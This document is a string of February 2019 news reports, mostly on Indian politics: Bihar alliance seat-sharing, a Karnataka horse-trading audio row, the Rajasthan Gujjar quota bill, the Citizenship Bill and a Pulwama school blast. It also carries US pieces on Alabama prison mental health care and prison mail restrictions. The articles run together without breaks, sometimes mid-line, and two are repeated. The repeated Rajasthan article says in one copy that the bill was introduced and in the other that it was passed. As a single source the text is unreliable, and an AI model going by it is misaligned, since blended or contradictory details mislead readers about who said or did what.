Shloka is the youngest of three children of Russell Mehta, who heads Rosy Blue Diamonds, one of the countrys leading diamond companies. Shloka is currently a director with Rosy Blue Foundation and is a co-founder of ConnectFor.Patna: Former Chief Minister Jitan Ram Manjhi on Tuesday asserted his Hindustani Awam Morcha must get a number of seats that was not less than what would be offered to former Union minister Upendra Kushwaha's Rashtriya Lok Samata Party a late entrant into the Mahagathbandhan.

Manjhi made the statement at a press conference here, after a meeting of his party's core group.

"Under no circumstances would we agree to a number of seats that is less than what is given to Kushwaha. We are not demanding any specific number but our contention is we must not get less than RLSP. Rather, we should get more," the HAM founding president said.

Asked whether he would consider returning to the NDA if his demand went unheeded, Manjhi said the question does not arise. "Why would I have left NDA if I were to go back. When I joined Mahagathbandhan I had vowed that I will strengthen the hands of RJD supremo Lalu Prasad. I am going to meet him shortly," he said.

To a pointed query as to what alternatives he had in mind in case he did not get a favourable deal in the opposition alliance, Manjhi cryptically replied not fighting the polls could also be an option.

"A meeting of Mahagathbandhan constituents is also proposed on February 18. I am hopeful that things will be ironed out by then. The opposition alliance will be able to finalize its seat-sharing formula before the ongoing assembly session ends on February 20," he said.

He also said the resignations of HAM national spokesman Danish Rizwan and state president Vrishan Patel have been accepted and there is no possibility of their return to the party.

Manjhi also rubbished Patel's allegation that the HAM president was in touch with NDA leaders, exploring the possibility of a return in the event of the Grand Alliance not coming up with a good offer. He also deplored the recent comment by Rizwan, who had termed as a flop the Patna rally of Congress president Rahul Gandhi with whom Manjhi had shared the stage on February 3.

About Rizwan's allegation that Patel had siphoned off party funds, Manjhi said, "We will get it investigated. But the party spokesman should not have gone public with such accusations. It is an internal matter of the party."

Manjhi had floated his outfit in 2015 after quitting the JD(U) in protest against having been made to step down as Chief Minister to make way for the return of Nitish Kumar. His party fought the assembly polls as an NDA constituent but performed dismally, with only Manjhi achieving a victory in one of the two seats he contested.

He, however, quit the NDA in February last year, less than a year after Nitish Kumar's return to the BJP-led coalition, and joined the opposition alliance comprising RJD and Congress. Two months later, his son Santosh became a member of the legislative council with the help of the RJD which has the largest number of MLAs.

Kushwaha, whose RLSP was an NDA ally since the 2014 Lok Sabha polls when it won all the three seats it contested, resigned from the Union council of ministers and severed ties with the BJP-led coalition in December last year.

Although there has been no formal announcement with regard to the number of seats each party in Mahagathbandhan would be contesting, RLSP sources have claimed that an agreement has been reached wherein the party would be getting four Motihari, Ujiyarpur, Gopalganj and Kushwahas Karakat.

The bloated, loosely-knit Mahagathbandhan at present has about half a dozen constituents a couple of these being fledgeling outfits and the alliance also seeks to have an electoral understanding with the Left parties in a state that has 40 Lok Sabha seats.U.S. District Judge Myron Thompson ruled today that the Alabama Department of Corrections fails to adequately evaluate the mental health of inmates isolated in segregation cells, causing a risk of serious harm, and that the ADOC is deliberately indifferent to that failure.Thompson issued a 66-page opinion and order three days after attorneys for inmates said the suicide rate in Alabama prisons had reached a crisis level, with 13 suicides in 14 months.Thompson ordered lawyers for the inmates and for the ADOC to confer and submit a joint report with suggestions on how to fix the failure to monitor isolated inmates. The judge has also scheduled a hearing on suicide prevention for April 19.Thompsons order today comes in a lawsuit filed on behalf of inmates in 2014 by the Southern Poverty Law Center and the Alabama Disabilities Advocacy program alleging inadequate health care, mental health care and accommodations for inmates with disabilities.NEW DELHI: In a surprising development, Samajwadi Party leader Mulayam Singh Yadav on Wednesday said that he hopes Prime Minister Narendra Modi returns to power again. The former Uttar Pradesh Chief Minister made the jaw-dropping remark while addressing the Lok Sabha.

Though Samajwadi Party leaders tried to downplay Mulayam's statement, saying that it was all in humour, but it would not be wrong to say that SP patriarch's comment meant something far bigger.

"I want to congratulate the PM that he tried to move ahead taking everyone along. I hope all members to win and return, and you (PM Modi) become prime minister again," the 79-year-old Mulayam said in the Lower House of Parliament.

Former Congress President Sonia Gandhi was sitting next to Mulayam when he made the remarks. Prime Minister Narendra Modi welcomed the remarks by thumping his desk but Sonia did not show any emotion.

Later, when PM Modi took to the floor to address the lawmakers he responded to Mulayam's remarks by saying: "There is much to do. And Mulayam Singhji has given his blessings. I am very grateful to him."

CongressPpresident Rahul Gandhi, however, said that he disagreed with Mulayam's remark but said that the veteran SP leader has an important role in politics and he respects his opinion".

It may be recalled that the same wish was made by Mulayam Singh for outgoing PM Manmohan Singh in 2014.

Talking to ANI, NCP MP Supriya Sule said: "I wish you (PM Modi) become PM again': I have heard that respected Mulayam Singh ji had said the same thing for Manmohan Singh ji in 2014."NEW DELHI: After giving a united opposition image in West Bengal, the anti-BJP front of political leaders will be attending a mega rally at Delhi's Jantar Mantar on Wednesday.

Ahead of the rally, Kejriwal tweeted: "Countless freedom fighters laid down their lives for our freedom and democracy. We cannot forget their sacrifices and remain silent to the tyranny of any dictator. Join us for the Save Democracy Satyagraha at the historic Jantar Mantar today afternoon."

Countless freedom fighters laid down their lives for our freedom and democracy. We cannot forget their sacrifices and remain silent to the tyranny of any dictator. Join us for the Save Democracy Satyagraha at the historic Jantar Mantar today afternoon  Arvind Kejriwal (@ArvindKejriwal) February 13, 2019

The rally is being organised by the Arvind Kejriwal-led Aam Aadmi Party (AAP) and will have West Bengal Chief Minister Mamata Banerjee, Andhra Pradesh Chief Minister N Chandrababu Naidu, former prime minister HD Deve Gowda, National Conference (NC) leader Farooq Abdullah and Nationalist Congress Party (NCP) chief Sharad Pawar in attendance. Leaders from the Samajwadi Party (SP), Dravida Munnetra Kazhagam (DMK), Rashtriya Janata Dal (RJD), Rashtriya Lok Dal (RLD) and other parties would also address the mega rally.

"India is currently passing through a decisive phase. The Modi-Shah duo is bent upon destroying the Constitution and democracy, which our country succeeded in achieving due to the sacrifices of millions of freedom fighters," AAP leader Gopal Rai said.

An invite has also been sent to Congress president Rahul Gandhi to attend the rally. There have been reports of talks between the AAP and the Congress for the Lok Sabha election. However, local Congress leaders are believed to be against the move as the two parties have been bitter rivals in the past in Delhi and Punjab.

"Elected governments of non-BJP parties have been targeted by the Modi government, which has made a mockery of the federal structure of the Constitution. The Modi government has crossed all limits through blatant misuse of central agencies to throttle political opponents and it has no respect for the rule of law," he added.

With months to go for the general election, the rally would serve to bring the opposition leaders together in firming up the Grand Alliance to challenge the BJP and its National Democratic Alliance (NDA) partners.Bengaluru: Karnataka assembly speaker Ramesh Kumar on Tuesday compared himself to a rape survivor having to undergo repeated questioning as he referred to repeated charges against him being part of the controversial audio tapes, over which government has announced an SIT.

The speaker made the intervention during the discussions in the assembly over the Special Investigation Team probe into an audio clip showing BJP chief BS Yeddyurappa in a purported conversation to lure a JD(S) MLA in his alleged attempt to topple the Congress-JDS government.

The Speaker, pointing to repeated reference to charges against him, said his "situation was like that of a rape victim, as they too are supposedly questioned about the incident repeatedly."

Kumaraswamy on Monday had announced a comprehensive SIT probe into the audio clip. He had accepted an "advice" by an emotional Speaker to constitute the Special Investigation Team to probe the episode to "establish the truth" as his name has also been dragged with the charge that he had been "booked" for Rs 50 crore.

The Speaker called for a meeting of floor leaders on Wednesday to resolve the issue, as the BJP stuck to its strong opposition to the SIT, saying it could be used for "political vengeance." He decided to convene the meeting at the end of the day long discussion on the issue for the second consecutive day in the Assembly, with both the ruling Congress-JD(S) coalition and opposition BJP refusing to budge from their positions.

"Let's discuss and try to find a solution," the Speaker announced as he adjourned the assembly proceedings to Wednesday morning.

The Speakers decision came after Yeddyurappa, the leader of the opposition, pointed out that no effort was made by the Chair to seek the opinion of the opposition before deciding on the investigation agency to inquire into the case. "SIT is being imposed upon us forcefully," he said.

Yeddyurappa expressed apprehensions about the SIT as it comes under the Chief Minister and said he was firm on his stand to quit politics if it was proved he was present during conversations between the persons in the audio on a "Rs 50 crore offer to book" the Speaker, as alleged by Kumaraswamy.

Accusing the Chief Minister of hatching a conspiracy against him by "twisting facts", he said Kumaraswamy has released the audio partially, to save his seat.

The BJP has objected to the SIT and insisted on constituting a House committee or a judicial probe. They also saId that the probe cannot be conducted by an agency that is under the Chief Minister as he too was a party in the case.

The political war over charges of horse-trading had escalated in Karnataka on Friday with Kumaraswamy releasing the audio clip.

As the House met for the day, opposition members requested the Chair to reconsider the decision to hand over the probe to the SIT.

Several BJP members, including Yeddyurappa, demanded a probe by house committee or judicial inquiry into the matter.

Kumaraswamy had said that during the purported conversation that there was a mention about a "Rs 50 crore offer to book" the Speaker to give a ruling in favour of MLAs who might resign to help the BJP bring down his government.

Former Chief Minister Jagadish Shettar allegedthat Kumaraswamy was behind the audio conversation as he was the one who sent Sharan Gouda, son of the MLA Naganagouda, who was being lured and he also heard the conversation between the two individuals via a conference call.

"So the CM is the offender, he is the first accused in the case," he said.

Another senior BJP member Madhu Swamy, questioning the constitution of the SIT, said the probe report can only be submitted to court by the SIT and not to the government or the Chair.

Kumaraswamy expressed surprise about being called A1 by BJP in the case and said that since the leader of the opposition and other members have called him accused, "at least to punish me, a comprehensive inquiry has to happen."

Hitting out at BJP for suspecting political vengeance on the part of the government and its officials, he asked "did I direct Yeddyurappa and others in the way they did?"

Claiming to enjoy the complete confidence of Congress and JD(S) MLAs, Kumaraswamy spoke of the need to amend the anti-defection law and said if an elected MLA resigns, he should not be allowed to contest elections for five years. "Such a permanent change has to be brought in," he said.

Stating that he was also ready for a discussion on the alleged 2014 video CD about the cash for vote allegedly involving him, which was raised by the BJP, the chief minister said he would abide by the Speakers advice on constituting an SIT to probe the audio clip.

The political slugfest broke out as Kumaraswamy on Friday claimed there were two audio clips of recorded telephonic conversation between Yeddyurappa and Sharan Gouda.

Lucknow: Proceedings of the Uttar Pradesh Assembly was on Wednesday adjourned amid protests by legislators of the Samajwadi Party and the BSP over Akhilesh Yadav being stopped at the Lucknow airport.

Samajwadi Party president Akhilesh Yadav on Monday claimed that he was stopped at Chaudhary Charan Singh International Airport in a bid to prevent him from visiting Allahabad to attend an oath-taking ceremony at Allahabad University.

As soon as the House met, SP leader Narendra Verma tried to raise the issue in the Question Hour.

He was supported by BSP's legislative party leader Lalji Verma, who said, "Lathicharge was done in the entire state by police and fake cases were lodged against protestors. An MP (SP's Dharmendra Yadav) was injured in the lathi-charge. There is 'hitershahi' in the state as the government is resorting to activities demeaning democracy."

Countering Verma, Parliamentary Affairs Minister Suresh Kumar Khanna said as the opposition does not have any issues, they are creating anarchy in the state."Our government is committed to the welfare of people and development of the state," he added.

When Speaker Hriday Narain Dixit did not allow discussion on the matter in the Question Hour, opposition members came into the Well of the House raising slogans.

Amid the chaos, the speaker adjourned the House for 30 minutes.LUCKNOW: Newly-appointed Congress general secretary Priyanka Gandhi has said that the ongoing questioning of her husband Robert Vadra by Enforcement Directorate (ED) in connection with a money laundering case can not deter her from doing her work towards the people.

"These things keep on going and I am concentrating on my work, Priyanka Gandhi Vadra said.

#WATCH Priyanka Gandhi Vadra when asked if ED probing #RobertVadra affects her "Yeh cheeze chalti rahengi, yeh cheeze chalti rahengi, mai apna kaam kar rahi hoon" pic.twitter.com/O1rpEMAheY  ANI (@ANI) 13 February 2019

Priyanka said this to ANI following a meeting with local Congress workers inside the party office in Lucknow for around 16 hours.

She made these remarks when asked if Vadra's questioning by the ED affected her.

Priyanka's husband Vadra was interrogated for over eight hours by the Enforcement Directorate in Jaipur on Tuesday in connection with an alleged land scam in Bikaner amidst heightened security.



His mother Maureen Vadra, was also present during the questioning.

The businessman will be questioned on Wednesday as well.

Talking about the meeting, Priyanka said, "It is nice on seeing the enthusiasm of party workers. They waited for me for long. I thank them. I am learning more about the organisation. How does the organisation work in the region and how are the district and block committees (functioning). I am taking all the details."

"I am learning a lot about the organisation and how it is structured. I am getting views on how to fight the elections,'' she added.

The Congress is leaving no stone unturned in wooing the electorates of Uttar Pradesh, which accounts for the maximum number of seats in the Lok Sabha.

On Monday, Priyanka along with party general secretary Jyotiraditya Scindia and brother Rahul Gandhi conducted a mega roadshow in Lucknow.

The roadshow was also the Congress party's first mega show of strength in Uttar Pradesh ahead of the 2019 Lok Sabha elections.

According to sources, Priyanka will meet the party workers till February 14 and is scheduled to visit several constituencies in the eastern UP region from February 18 to February 21.

She was formally ushered into the party fold on January 23 on a mission to transform its fortunes ahead of the Lok Sabha elections due in a few months.

The decision to induct Priyanka was taken days after Samajwadi Party and BSP decided to contest the Lok Sabha polls jointly and kept the Congress out of the alliance.

(With Agency inputs)The Rajasthan government on Wednesday introduced a bill to give five per cent quota in jobs and education to the Gujjar community and four other castes. The move comes amidst the agitation by the Gujjar community.

The community's agitation for reservation entered the fifth day on Tuesday. Congress leaders had claimed that the state government would announce a proposal on Wednesday to break the deadlock.

The agitators continued to block rail tracks and highways, causing inconvenience to common people. On Tuesday, they blockaded Chaksu town, about 40 km from Jaipur on National Highway 52, said the police.

The blockades on the Agra-Jaipur-Bikaner National Highway-11 in Dausa district, state highway in Nainwa of Bundi district, Malarna road in Sawai Madhopur and the Karauli-Hindaun road at Budla village in Karauli district continued.

The North Western Railway informed through a bulletin that three trains were cancelled and two diverted on Tuesday.

Meanwhile, Chief Minister Ashok Gehlot chaired two meetings Tuesday at the state secretariat to discuss the quota issue with ministers and other Congress leaders.

Though the deliberation of the meeting was not briefed officially, some Congress legislators indicated that the government will announce a proposal in the state assembly Wednesday, seeking to break the impasse.

A Congress legislator from Gujarat, Himmat Patel, also met Gujjar leader Kirori Singh Bainsla at the protest site on Malarna Dungar rail track to express his party's commitment in resolving the issues. But the Gujjar leaders had refused to back-off from the tracks and roads.

"We have not received any communication from the state government so far. Dharna will continue and we will not go back until the government hands over 5 per cent quota order," Vijay Bainsla, son of Gujjar leader Kirori Singh Bainsla, had said.

Gujjar agitation leader Kirori Bainsla and his supporters began their indefinite sit-in on railway tracks in Malarna Dungar of Sawai Madhopur on Friday evening. Bainsla has stuck to the demand for five per sent reservation to the Gujjar, Raika-Rebari, Gadia Luhar, Banjara and the Gadaria communities, and has to refused to move from the tracks until the same is met through an official announcement.

A state government delegation, including Tourism Minister Vishvendra Singh and IAS officer Neeraj K Pawan, had held talks with the protestors on Saturday but failed to come to an agreement.The Rajasthan Assembly on Wednesday passed the Rajasthan Backward Classes Amendment Bill, 2019 to give five per cent quota in jobs and education to the Gujjar community and four other castes. The move comes amidst the agitation by the Gujjar community.

The community's agitation for reservation entered the fifth day on Tuesday. Congress leaders had claimed that the state government would announce a proposal on Wednesday to break the deadlock.

The agitators continued to block rail tracks and highways, causing inconvenience to common people. On Tuesday, they blockaded Chaksu town, about 40 km from Jaipur on National Highway 52, said the police.

The blockades on the Agra-Jaipur-Bikaner National Highway-11 in Dausa district, state highway in Nainwa of Bundi district, Malarna road in Sawai Madhopur and the Karauli-Hindaun road at Budla village in Karauli district continued.

The North Western Railway informed through a bulletin that three trains were cancelled and two diverted on Tuesday.

Meanwhile, Chief Minister Ashok Gehlot chaired two meetings Tuesday at the state secretariat to discuss the quota issue with ministers and other Congress leaders.

Though the deliberation of the meeting was not briefed officially, some Congress legislators indicated that the government will announce a proposal in the state assembly Wednesday, seeking to break the impasse.

A Congress legislator from Gujarat, Himmat Patel, also met Gujjar leader Kirori Singh Bainsla at the protest site on Malarna Dungar rail track to express his party's commitment in resolving the issues. But the Gujjar leaders had refused to back-off from the tracks and roads.

"We have not received any communication from the state government so far. Dharna will continue and we will not go back until the government hands over 5 per cent quota order," Vijay Bainsla, son of Gujjar leader Kirori Singh Bainsla, had said.

Gujjar agitation leader Kirori Bainsla and his supporters began their indefinite sit-in on railway tracks in Malarna Dungar of Sawai Madhopur on Friday evening. Bainsla has stuck to the demand for five per sent reservation to the Gujjar, Raika-Rebari, Gadia Luhar, Banjara and the Gadaria communities, and has to refused to move from the tracks until the same is met through an official announcement.

A state government delegation, including Tourism Minister Vishvendra Singh and IAS officer Neeraj K Pawan, had held talks with the protestors on Saturday but failed to come to an agreement.New Delhi: Prime Minister Narendra Modi is scheduled to visit South Korea on a two-day visit from February 21 to February 22.

During the visit, he will be honoured with the Seoul Peace Prize, an award to PM Modi that was announced in 2018.

Previous recipients of the award include German Chancellor Angela Merkel and United Nation chiefs like Ban Ki-moon and Kofi Annan.

PM Modi had visited South Korea in May 2015.

In July 2018, South Korean President Moon Jae In visited India. During his visit, he along with PM Modi inaugurated the new manufacturing facility of South Korean major Samsung in Noida, which is the largest mobile phone manufacturing plant of the company anywhere in the world.

After President Moon's election victory in 2017, PM Modi was the 4th international leader to congratulate him. In his addition, PM Modis congratulatory tweet in the Korean language was well appreciated by President Moon.

Many South Korean companies are household names in India. According to Statistics Korea, Indian exports to Korea accounted for $2.91 billion and imports account for $8.707 billion during January-July 2017, marking a growth of 26 per cent and 30.1 per cent. Major Korean companies such as Samsung, Hyundai Motors and LG have made major investments in India, estimated around $4.43 billion (Figures till March 2017). A sister company of Hyundai Group, Kia motors recently announced an investment of $ 1.1 billion to set up a manufacturing unit in Andhra Pradesh.

Samsung Electronics has announced a $760 million investment to expand production facilities in India. Indian companies have invested $3 billion in South Korea.National Conference (NC) leader Omar Abdullah on Wednesday called for a probe into the blast in Pulwama district of Jammu and Kashmir in which 16 school students were injured.

"Education must be made conflict neutral. It is unacceptable & inhuman to have explosives going off inside classrooms. I condemn this act unequivocally & hope that it is properly investigated. The truth must be known & the guilty must be severely punished," Omar tweeted.

At least 16 students were injured in an explosion took inside the premises of a private school in Pulwama district of Jammu and Kashmir on Wednesday, according to the Jammu and Kashmir Police.

According to SSP Pulwama, Chandan Kohli, a total of 16 students were injured in the explosion. "Total 16 students were injured in an explosion at a private school, their condition is stable. FIR registered, an investigation is in progress," said the SSP.

The injured students have been shifted to a hospital where they are undergoing treatment. The condition of the students is stable.

Around 2.30 pm the explosion took place inside the classroom at a private school, Falai-e-Millat, in Narbal village of Kakapora area in the south Kashmir district, according to the police. The students were of class 10 who were taking winter tuition when the incident took place.

A case has been registered and an investigation is underway added the police.

"At 1430 hours, an explosion took place inside the classroom at private school Falai-e-Millat at Narbal, Pulwama. Their condition is stable. A case has been registered and an investigation is in progress," said Jammu and Kashmir Police.

Jawed Ahmed, a teacher at the school in Pulwama said, "I was teaching and then suddenly an explosion occurred. I can't say how many students are injured."DUDHNOI: Reacting on the non-passage of Citizenship Bill in Rajya Sabha, Assam Finance Minister and senior BJP leader Himanta Biswa Sarma on Wednesday said that the development should be seen as a defeat for Assam. He added that without the Bill at least 17 assembly seats in the state will go to Bangladeshi Muslims.

It is to be noted that Sarma is also the convenor of North East Democratic Alliance. The senior BJP leader reiterated his party's commitment for the Bill, stressing that the saffron party will fight the upcoming Lok Sabha poll with this resolution.

The Bill will automatically lapse on June 3 as the Rajya Sabha was adjourned sine die on the last day of the Budget session on Wednesday. The Bill was passed by the Lok Sabha on January 8, ANI reported.

"I think not passing the Bill in Rajya Sabha is a defeat for Assam. Without the Bill, 17 (assembly) constituencies will go to Bangladeshi Muslims," Sarma told reporters. "Who will save the (Assamese) community?" he asked.

The BJP-led NDA government at the Centre lacks majority in the Rajya Sabha and experts maintain that this is the main reason why the party refrained from pushing the Bill in the Upper House. Sarma remarked that the BJP will bring in the legislation again once the party will get a majority in Rajya Sabha.

"My party supports the Bill. BJP is committed and will be committed to it forever. BJP will fight (the elections) with this commitment," Sarma said.

(with PTI inputs)People are getting more creative about smuggling drugs into jails and prisons.What might appear to be a normal letter to an inmate could be saturated with liquid K2, a synthetic marijuana. An average-looking greeting card may be concealing drugs between its layers. In August, Pennsylvania state prisons went on a nearly two-week lockdown after the Department of Corrections claimed about 60 staffers were sickened by synthetic cannabinoids That same month, nearly 30 employees at an Ohio state facility reportedly received treatment for fentanyl exposure, which some say can yield negative effects if accidentally touched or inhaled.Citing similar safety concerns, state and local corrections facilities around the country are restricting prisoners' interaction with the outside world.In 2015, New Hampshire banned drawings, greeting cards and colored paper. The state also limited prisoners' hugs with visitors to three seconds. Some jails have gone further, replacing in-person visits with video calls. Last year, Maryland prison officials unsuccessfully tried to limit inmates book access to just two vendors. Florida announced plans to cut down on contraband by housing prisoners outside their home counties After Pennsylvania's lockdown, the state implemented a rare policy of sending prison mail to a Florida-based company where it is scanned and stored on a database for 45 days. A digital copy of the mail is forwarded to Pennsylvania's state prisons for inmates to view. Legal mail from lawyers and courts now undergoesa separate but similarly stricter process.Policies like these have been met with pushback from inmates , their families and legal advocates, who say this increased isolation violates inmates' rights, strains their relationships and harms their mental health.In New Hampshire, for instance, the ACLU challenged the state, leading to a settlement permitting prisoners to receive some handmade drawings. The ACLU has also sued the Pennsylvania Department of Corrections (DOC) over the legal mail policy, arguing that it violates inmates' First Amendment rights.Some lawyers have stopped sending mail to their clients due to the new policy because "it is insufficiently confidential," reports theLorraine Haw, a Philadelphia resident whose only child is serving life without parole in a state facility about a four-hour drive from her home, has similar concerns. She regularly sent her son cards and letters for 25 years until the state lockdown in August. Now, Haw says she and her son don't feel comfortable having personal information stored, so her letters have stopped coming."We've cried about it, but we've come to the same conclusion that we're not going to give in and do things their way," says Haw. "My son turned 43 on January 9, and this is the first year I didn't send him a birthday card."Layne Mullett, a volunteer with the advocacy group Decarcerate PA, says the new policy also had a "chilling effect" on the mail she sends to imprisoned friends. It takes much longer for the mail to arrive, Mullett says, and "receiving a poor quality photocopy is no substitute."Pennsylvania Secretary of Corrections John Wetzel says his department is working to fix the problems with image quality, but he believes the policy is necessary to ensure the safety of staff and inmates."Having drugs come in and having our staff exposed and inmates overdose is unacceptable. We'll do whatever means necessary to stop that," he says. We identified every way that drugs were coming into facilities. We came up with an individual solution for each [avenue], even ones that arent used a lot in Pennsylvania but are used in other places."The new mail policy is part of the department's $10 million security effort to stop drug flow. The state also installed drone detectors and established a separate center for inspecting book deliveries.In addition to staff getting sick, the Pennsylvania DOC says a rise in positive inmate drug tests contributed to the new security measures. According to department data, the percent of random drug tests with positive results rose from 0.7 for most of 2018 to 1 in August. That number dropped after the state implemented its new mail policy inSeptemberbut increased again to 0.7 percent in November and 0.9 percent in December. The new policy does, however, appear to be limiting contraband. The number of "drug finds" has fallen from 5.9 finds per 1,000 inmates in August to 3.4 in December.Californias Humboldt County Correctional Facility has also beefed up security after a rise in drug smuggling. It purchased a scanner in 2016 to detect hidden drugs among incoming mail, and last year, it banned greeting cards and letters on colored paper or cardstock. Since then, the jail has almost eliminated contraband coming in, says Humboldt County Correctional Captain Duane Christian.Letters are the primary means of communication for 92 percent of prisoners in contact with their family, according to a survey by the nonprofit think tank Vera Institute of Justice. The cost of receiving calls from inmates is unaffordable for many families, and because inmates are often incarcerated in different states or counties from their loved ones, visiting in-person is difficult.An increasing number of jails and prisons are offering the chance to connect with inmates through video, email and instant messaging -- in many cases, eliminating in-person visits in exchange. That costs money too. Rates vary between the states and services but range from a few dollars for a 20-minute video call to $13 in others using the company Securus Technologies. One popular company, Global Tel Link, services about 2,300 correctional facilities around the U.S.While corrections officials have praised such options, they have drawn critiques from prison reform advocates. The majority of jails with video visitation (74 percent) have also eliminated in-person visits , according to a 2015 study by the Prison Policy Initiative. These restrictions, coupled with the rise of a for-profit video visitation industry, are troubling, says Wanda Bertram, a communications strategist for Prison Policy Initiative.Our stance is not so much that video is evil, but jails should resist the urge to get rid of in-person visits," says Bertram. "There is a lot of pressure [on officials] to cut prison costs, and there are companies out there that see an opportunity here."Research shows that visitation helps to reduce the risk of recidivism and facilitate better mental health. Prisoners with regular contact from loved ones and a strong support system are more likely to have success upon release, says Johanna Folk, a postdoctoral fellow in psychiatry who studies how community connectedness affects inmates. Studies are less clear on whether the medium of communication -- in-person versus video -- has a significant effect, she says. Still, access to video calls can provide more flexibility for inmates when families cannot travel to see them.In a political world with increasing bipartisan support for prison reform, restricting prisoners' communication is not an easy sell to lawmakers.Bristol County, Mass., announced plans in 2017 to end all in-person jail visitations in favor of video calls. Those efforts, however, were blocked last April after Republican Gov. Charlie Baker signed a criminal justice package that, among other reforms, prohibited eliminating in-person visits. Around the same time, however, the Massachusetts Department of Corrections restricted the number of visitors an inmate can have at one time.NEW DELHI: The Narendra Modi government, which is keen to get parliamentary approval for the Triple Talaq Bill, will table it in the Rajya Sabha on Wednesday.

Union Law Minister Ravi Shankar Prasad will move The Muslim Women (Protection of Rights on Marriage), Bill in the Rajya Sabha.

The Triple Talaq Bill was passed in the Lok Sabha on December 27 last year with 245 votes in favour and 11 against the Bill.

The opposition parties want the Bill to be sent to the Select Committee of Parliament for further vetting - a demand rejected by the Centre.

However, an ordinance was re-promulgated in January this year as the revised Bill could not be passed in the Rajya Sabha where the government lacks a majority.

The Bill criminalises the practice of instant triple talaq with a provision of three years imprisonment to the erring husband.

The issue of triple talaq was taken up in the Parliament in August last year after a five-judge bench of the Supreme Court ruled "unconstitutional" a practice that allows Muslim men to divorce their wives simply by uttering "talaq" three times in quick succession.

In a landmark 3-2 verdict, the apex court found the practice un-Islamic and "arbitrary", and disagreed that triple talaq was an integral part of religious practice.

Meanwhile, the Citizenship Amendment Bill, seeking to provide citizenship to non-Muslims migrants from Afghanistan, Pakistan and Bangladesh is also expected to be tabled in Rajya Sabha on Wednesday amidst ongoing protest in Northeast.

With the Winter Session coming to an end on Wednesday, the Centre will try to give one last push so that the bill gets the Upper House nod.

The Bill has created a furore in Mizoram and kicked up a storm in the northeast. Indigenous people of the region are afraid that identity would be lost if the Bill was enacted.

The civil societies are apprehending that the Bill would endanger the very existence of the sons of the soil - Mizos - as citizenship to around 1 lakh Buddhist Chakmas from Bangladesh would be granted.

On Tuesday, an indefinite curfew was imposed in Manipur capital Imphal and mobile internet services suspended till February 16 across the state in view of the continued protests against the Citizenship (Amendment) Bill. The state capital straddles Imphal East and Imphal West districts.A Muslim cleric was booked for allegedly sexually assaulting a 15-year-old girl in Kerala, news agency ANI reported on Wednesday.

Shafeeq Al Qasimi, who was serving as the Imam of a rural mosque at Tholicode in Vithura, over 30 km away from Thiruvananthapuram, was removed after the incident came to light, news agency PTI reported quoting the police.

A case under the Protection of Children from Sexual Offences (POCSO) Act was registered against him on Tuesday, based on the mosque committee's statement.

According to the statement, he had lured a 15-year-old girl to an isolated forest area in Vithura and allegedly sexually assaulted her last week.

The incident came to light after a group of local women confronted the cleric after seeing him with the school-going girl in the forest.

"An FIR was registered as per the statement of the mosque committee," a police official said, adding that the victim or her family was yet to file a formal complaint.

Qasimi was removed as Imam of the mosque after the issue surfaced, police added.BENGALURU: In a fresh political drama in Karnataka, the supporters Karnataka CM Kumaraswamys Janata Dal (Secular) on Wednesday pelted stones at a BJP leader in Hassan district of the state causing serious head injuries to the BJP leader

The incident took place after JD(S) party workers, who were protesting against the Hassan BJP MLA Preetham Gowda outside his residence, started pelting stones at the BJP leaders who were present at Gowda's residence.

Stones pelted at the residence of BJP MLA from Hassan, Preetham Gowda, allegedly by JD(S) workers reportedly over a remark he made against former PM HD Deve Gowda. One BJP worker was injured in the incident. pic.twitter.com/k2pb9uaAD0  ANI (@ANI) February 13, 2019

The trouble started after an unverified audio tape allegedly featuring BJP MLA Preetham Gowda went viral, in which a person claiming to be Preetham Gowda had used derogatory statement for former Prime Minister HD Deve Gowda and his CM son HD Kumaraswamy.

In the unauthenticated audio clip the man can be heard saying, "Deve Gowda would die soon and Kumaraswamy is unwell". He even adds that "JDS will be history soon"

Reports claim that the injured BJP leader has suffered serious injuries on his head and has been admitted in a hospital.

Preetham Gowda, a first time MLA, jumped into limelight after he managed to defeat JDS in Hassan, which is considered the fiefdom of Deve Gowda. BJP leaders claim that Preetham Gowda's victory had unnerved JD(S) and they are trying to intimidate him.

Meanwhile, Karnataka CM Kumaraswamy said that he has been briefed on the matter by Mysore IG & Hassan SP. Talking to ANI, he said, "As per info, some followers of Deve Gowda were holding protest over statements made against him. Some BJP workers provoked them & the incident happened. I've asked police to probe the matter & take strict action."At least 16 students were injured in an explosion took inside the premises of a private school in Pulwama district of Jammu and Kashmir on Wednesday, according to the Jammu and Kashmir Police.

According to SSP Pulwama, Chandan Kohli, a total of 16 students were injured in the explosion. "Total 16 students were injured in an explosion at a private school, their condition is stable. FIR registered, an investigation is in progress," said the SSP.

The injured students have been shifted to a hospital where they are undergoing treatment. The condition of the students is stable.

Around 2.30 pm the explosion took place inside the classroom at a private school, Falai-e-Millat, in Narbal village of Kakapora area in the south Kashmir district, according to the police. The students were of class 10 who were taking winter tuition when the incident took place.

A case has been registered and an investigation is underway added the police.

"At 1430 hours, an explosion took place inside the classroom at private school Falai-e-Millat at Narbal, Pulwama. Their condition is stable. A case has been registered and an investigation is in progress," said Jammu and Kashmir Police.

Jawed Ahmed, a teacher at the school in Pulwama said, "I was teaching and then suddenly an explosion occurred. I can't say how many students are injured."The Indian Air Force (IAF) will demonstrate the Hawk MK132, a single-engine advanced jet trainer aircraft, in its all-weather day-dusk-night operations at its exercise Vayushakti 2019.

The exercise will take place at the Pokhran range in Rajasthan on February 16.

The Hawk was inducted into the IAF in 2004. Besides training, the aircraft can fire a variety of weapon. It can engage pinpoint or area targets depending upon the type of warhead used.

A basic advance jet and also a weapons trainer, the Hawk is of BAE Systems, UK, origin.

The aircraft has accommodation of two seats--one for the pupil and the other for the instructor in tandem.

It is powered by a Rolls-Royce ardour Mk.871, twin spool turbofan engine.

The armament is a seven-station weapons platform that includes--rockets, missiles and practice bombs.

The maximum speed of the aircraft is 1,065 km per hour (575 kts), the range is of 2,520 km (1,360 NM) and the fuel capacity is 2,805 litres.

The service ceiling of the aircraft is 14,000 mts (46,000 ft).

The role is 32x68 mm RPs and 2x1000 lbs.

"The 7th edition of the Fire Power Demonstration (FPD) of the Indian Air Force will showcase all weather day-dusk-night operations on 16 Feb at Pokhran range, Rajasthan," the IAF had tweeted sharing a video which gives a glimpse of the demonstration.

The full dress rehearsal of the Fire Power Demonstration (FPD) that was scheduled to take place on February 13 has been postponed to February 14.

